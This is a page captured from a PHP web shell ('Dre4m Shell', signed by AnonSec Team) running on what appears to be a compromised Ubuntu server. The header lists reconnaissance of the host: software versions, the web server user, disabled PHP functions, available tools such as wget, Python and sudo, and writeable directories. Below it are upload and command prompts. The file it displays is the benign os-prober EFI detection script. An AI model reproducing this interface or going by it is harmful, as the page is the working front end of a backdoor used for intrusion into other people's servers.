Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.117.157.139
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/os-probes/mounted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/os-probes/mounted/05efi
#!/bin/sh
# Detects all Microsoft OSes on a collection of partitions.

. /usr/share/os-prober/common.sh

partition="$1"
mpoint="$2"
type="$3"

# This file is for UEFI platform only
if [ ! -d /sys/firmware/efi ] || [ -f /var/lib/partman/ignore_uefi ]; then
	debug "Not on UEFI platform"
	exit 1
fi

# Weed out stuff that doesn't apply to us
case "$type" in
	vfat) debug "$1 is a FAT32 partition" ;;
	msdos) debug "$1 is a FAT16 partition" ;;
	fat) debug "$1 is a FAT partition (mounted by GRUB)" ;;
	*) debug "$1 is $type partition: exiting"; exit 1 ;;
esac

if type udevadm > /dev/null 2>&1; then
	udevinfo () {
		udevadm info "$@"
	}
fi

if type udevinfo > /dev/null 2>&1; then
	# Skip virtual devices
	if udevinfo -q path -n $partition | grep -q /virtual/; then
		debug "$1 is virtual device: exiting"
		exit 1
	fi

	eval "$(udevinfo -q property -n "$partition" | grep -E '^ID_PART_ENTRY_(TYPE|SCHEME)=')"
	debug "$partition partition scheme is $ID_PART_ENTRY_SCHEME"
	debug "$partition partition type is $ID_PART_ENTRY_TYPE"

	if [ -z "$ID_PART_ENTRY_TYPE" -o -z "$ID_PART_ENTRY_SCHEME" -o \
		\( "$ID_PART_ENTRY_SCHEME" != gpt -a "$ID_PART_ENTRY_SCHEME" != msdos \) -o \
		\( "$ID_PART_ENTRY_SCHEME" = gpt -a "$ID_PART_ENTRY_TYPE" != c12a7328-f81f-11d2-ba4b-00a0c93ec93b \) -o \
		\( "$ID_PART_ENTRY_SCHEME" = msdos -a "$ID_PART_ENTRY_TYPE" != 0xef \) ]; then
		debug "$partition is not a ESP partition: exiting"
		exit 1
	fi
else
	debug "udevinfo and udevadm missing - cannot check partition type"
fi

efi=$(item_in_dir efi "$mpoint")
if [ -z "$efi" ]; then
	debug "$mpoint does not have /EFI directory: exiting"
	exit 1
fi

ret=1
for test in /usr/lib/os-probes/mounted/efi/*; do
	debug "running subtest $test"
	if [ -f "$test" ] && [ -x "$test" ]; then
		entry=$("$test" "$mpoint/$efi")
		if [ -n "$entry" ]; then
			debug "bootloader $entry found by subtest $test"
			ret=0
			result "${partition}@/$efi/${entry}:efi"
		fi
	fi
done

exit $ret

Anon7 - 2022
AnonSec Team